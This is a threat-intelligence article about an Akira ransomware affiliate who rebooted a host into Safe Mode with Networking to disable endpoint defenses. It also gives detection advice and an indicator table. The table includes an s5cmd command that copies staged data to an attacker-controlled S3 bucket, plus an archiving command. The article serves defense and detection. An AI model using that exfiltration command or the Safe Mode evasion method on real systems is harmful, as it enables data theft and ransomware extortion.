Akira Ransomware Uses Windows Safe Mode to Shut Down EDR Before Launching Encryptor

PC booting into Safe Mode with Networking, attacker using AnyDesk, files exfiltrating to S3

Akira’s latest tactics expand the ransomware playbook: instead of relying solely on kernel drivers or signed binaries to disable protections, an affiliate in a recent intrusion rebooted a compromised host into Safe Mode with Networking to silence endpoint defenses while keeping network access for remote control and exfiltration. The operation began with a successful credential-spraying attack against an exposed SonicWall SSL VPN that lacked MFA, and it unfolded rapidly—domain enumeration, lateral movement, staging and exfiltration, then an attempted encryption that was ultimately thwarted by the stripped-down Safe Mode environment. The incident is a reminder that attackers will combine simple Windows behaviors with legitimate remote-access tools to create short, high-impact windows of opportunity.

Background and initial access

The intrusion began with a credential spray against a SonicWall SSL VPN appliance. Once a valid account was obtained, operators used Remote Desktop Protocol to reach into the environment, map network shares, and harvest sensitive files. From there they moved to the domain controller to export Active Directory details, giving them a clear map of accounts, groups and high-value systems to target next. This pattern—edge device compromise, rapid discovery, and hands-on keyboard activity—mirrors many recent ransomware intrusions tied to exposed VPNs and weak remote-access controls.

How Akira abused Safe Mode

Rather than attempting to disable defenses directly, the affiliate installed AnyDesk as a service and modified the Windows Safe Mode registry configuration so that AnyDesk would persist after a reboot. They then changed the startup configuration to force the machine into Safe Mode with Networking. That environment loads only core services and disables many third-party security agents and real-time protections, creating a temporary blind spot while preserving network connectivity for the attackers. In this case, the change stopped the Huntress agent and disabled Microsoft Defender real-time protection, leaving the system exposed to later hands-on activity.

Why encryption failed — and why that’s not a guarantee

Akira’s encryptor did launch shortly after the Safe Mode reboot, but the ransomware process encountered virtual-memory and PowerShell failures in the constrained Safe Mode environment. Researchers concluded the reduced system resources prevented the payload from completing encryption. Defender later identified the binary as Ransom:Win32/Akira.B!ibt, but could not quarantine it while the machine remained in Safe Mode. The attacker eventually rebooted the machine back into normal Windows hours later, at which point cleanup succeeded. However, this fortunate outcome is not a reliable defense: a slightly different payload, more system memory, or alternate process design could still result in successful encryption. More critically, by the time encryption was attempted the attackers had already exfiltrated data and collected credentials and share listings—enough for double-extortion attempts.

Operational details and attacker tooling

The affiliate used familiar tooling and tradecraft: RDP for hands-on access, WinRAR to archive mapped shares for staging, s5cmd for S3 exfiltration, and AnyDesk for persistent remote control. They exported Active Directory enumerations to files for planning lateral movement and data collection. The attack combined a network edge weakness (exposed VPN credentials) with opportunistic abuse of Windows startup behavior, showing how attackers chain simple techniques to multiply impact.

Recommended defenses and detection opportunities

– Require multi-factor authentication for all VPN and remote-access accounts; remove or quarantine any exposed accounts when suspicious activity is detected.

– Monitor and alert on bursts of failed login attempts across multiple usernames and correlate with subsequent successful logins from the same source IP or ASN.

– Centralize VPN and Windows logs in a SIEM and alert on unusual events such as msconfig or boot configuration changes, Safe Mode boot events (Kernel-Boot EID 27 SAFEBOOT:NETWORK and Kernel-General EID 12 BootMode=2), or simultaneous stopping of multiple security services.

– Ensure endpoint coverage on every host instead of only a subset, and consider controls that detect changes to Safe Mode configuration or unauthorized services being registered to run in Safe Mode.

– Rotate compromised credentials (Active Directory and VPN) immediately after an intrusion and temporarily disable exposed VPN access during investigation.

Indicators of compromise (IoCs):-

Type	Indicator	Description
IPv4 address	72.23.77[.]35	External source IP for the successful SSL VPN login used for initial access
Hostname	WIN-DNCVG09TAT8	Attacker-controlled workgroup jump-host seen in RDP and logon events
File paths	C:\ProgramData\AdUsers.txt, C:\ProgramData\AdComp.txt	Active Directory enumeration output
Command	WinRAR.exe a -ep1 -scul -r0 -iext -imon1 …	Command used to archive file shares
Command	s5cmd cp –sp “<staging_path>” s3://<attacker-bucket>/	Command used for exfiltration to an attacker-controlled S3 bucket
File and SHA-256	S5cmd.exee2356c742c74cce5c6b6100162d0071a3f71e2fed2ed895c2011061a95b3299a	S3 exfiltration tool detected as HackTool:Win32/SSCmd!dha
File and SHA-256	akira.exe414b9985f46714f44dd1bd63860d2a48dcfababcfe5c712a4b4f575378127a56	Akira ransomware payload
AnyDesk Client ID	1778787240	Remote operator peer that transferred the payload
Windows event indicators	Kernel-Boot EID 27 SAFEBOOT:NETWORKKernel-General EID 12 BootMode=2	Windows events indicating a Safe Mode with Networking boot
Process and behavior	msconfig.exe boot-configuration change → reboot	Safe Mode boot behavior associated with defense impairment